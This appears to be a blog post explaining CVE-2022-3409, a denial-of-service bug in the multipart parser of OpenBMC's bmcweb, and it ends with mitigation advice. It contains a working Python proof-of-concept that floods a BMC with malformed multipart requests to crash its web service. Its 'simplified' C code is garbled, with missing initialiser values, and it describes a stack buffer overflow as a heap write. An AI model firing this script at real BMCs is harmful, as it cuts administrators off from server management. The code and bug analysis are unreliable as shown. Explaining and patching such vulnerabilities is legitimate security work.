CVE-2022-3409 - Denial-of-Service in OpenBMC’s Multipart Parser

OpenBMC is an open source project for managing baseboard management controllers (BMC), and is widely used in servers and networking hardware. In 2022, during further hardening after another vulnerability (CVE-2022-2809), security researchers found a new bug: CVE-2022-3409. This flaw lies in the _multipart parser_ code of bmcweb (the web interface/service in OpenBMC).

This post explains in plain English how the bug works, how an attacker can exploit it to cause a denial of service (DoS), and what lessons security teams can learn.

Where Did It All Start?

During security improvements inspired by CVE-2022-2809, developers began fuzz testing (using fuzzers like AFL++) with the Address Sanitizer (ASan) enabled. The goal was to uncover _even the tiniest_ memory bugs.

It was found: sending a long HTTP header without a colon in a multipart form submission triggers a buffer overrun. If repeated, you can crash the web service.

How the Multipart Parser Bug Works

In HTTP, multipart forms are split up into _parts_, each with its own header(s) and data. The parser expects headers like this:

Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain

<file data here>

But what if a header is malformed and missing the colon? For example

X-LongHeaderWithoutColon[thousands of A’s]

The parser expects to find the colon to split the header into key and value. If the colon is never found, the parser can try to write past the end of a buffer by one byte. While this may sound harmless, repeated overflows like this are dangerous: even a _single_ byte corruption can crash a process or open the door to bigger bugs.

Proof-of-Concept (PoC) Exploit

Here’s a minimal Python script using requests to send a malicious multipart form POST to an affected BMC:

> Warning: Only use on test systems you own!

import requests

url = "http://bmc-ip/endpoint";
payload = (
    "--boundary\r\n"
    "Content-Disposition: form-data; name=\"file\"\r\n"
    "X-LongHeader" + "A" * 500 + "\r\n"  # No colon!
    "\r\n"
    "filecontent\r\n"
    "--boundary--\r\n"
)
headers = {
    "Content-Type": "multipart/form-data; boundary=boundary"
}
for i in range(20):  # send multiple times to increase DoS likelihood
    resp = requests.post(url, data=payload, headers=headers)
    print(f"Try {i+1}: HTTP {resp.status_code}")

Depending on the system, after several tries, the bmcweb service will crash or restart, causing a denial-of-service. Sometimes, even a single hit can bring down the web interface!

Here’s what part of the multipart parser logic might look like, simplified for clarity

void handleHeader(const char* header, size_t length) {
    size_t colon = ;

    for (; colon < length; ++colon) {
        if (header[colon] == ':') break;
    }
    // If there is no ':', colon == length
    char key[256];
    strncpy(key, header, colon);   // [BAD]: colon may be as large as length, causing write past buffer
    key[colon] = ;                // One-byte overwrite if colon == length
}

With a _very long_ header without a colon, this code will copy past the end of the key buffer, writing one byte on the heap. It’s a classic off-by-one bug.

Impact and Exploitation

By repeatedly sending these malformed requests, a remote attacker can cause heap corruption and crash the bmcweb service. The OpenBMC management web interface becomes unresponsive, effectively denying service to any legitimate admin.

Shutdown of remote access to server management functions

- Disruption of monitoring/alerting

Official References & Patches

- NVD Summary for CVE-2022-3409
- Upstream Patch in OpenBMC
- OpenBMC Security Advisories

How To Protect Your Systems

- Update OpenBMC: Upgrade at minimum to the version containing the official fix.
- Limit BMC network access: Place servers’ BMC interfaces on isolated management networks—never expose to the internet!
- Monitor for crashes: Use monitoring solutions to alert if the web interface becomes unresponsive.

Conclusion

CVE-2022-3409 is another example of how “simple” parsing bugs can have big security impacts, especially in critical infrastructure like server management controllers. By fuzzing code with modern tools like AFL++ and sanitizers, the OpenBMC community found and fixed this subtle bug _before_ it could do real-world damage. But patches only help if you deploy them!

If your organization relies on OpenBMC, audit and update _now_. Don’t let a single missing colon sideline your servers.

Timeline

Published on: 10/27/2022 13:15:00 UTC
Last modified on: 10/31/2022 13:14:00 UTC

CVE-2022-3409 - Denial-of-Service in OpenBMC’s Multipart Parser – A Step-by-Step Exploit Analysis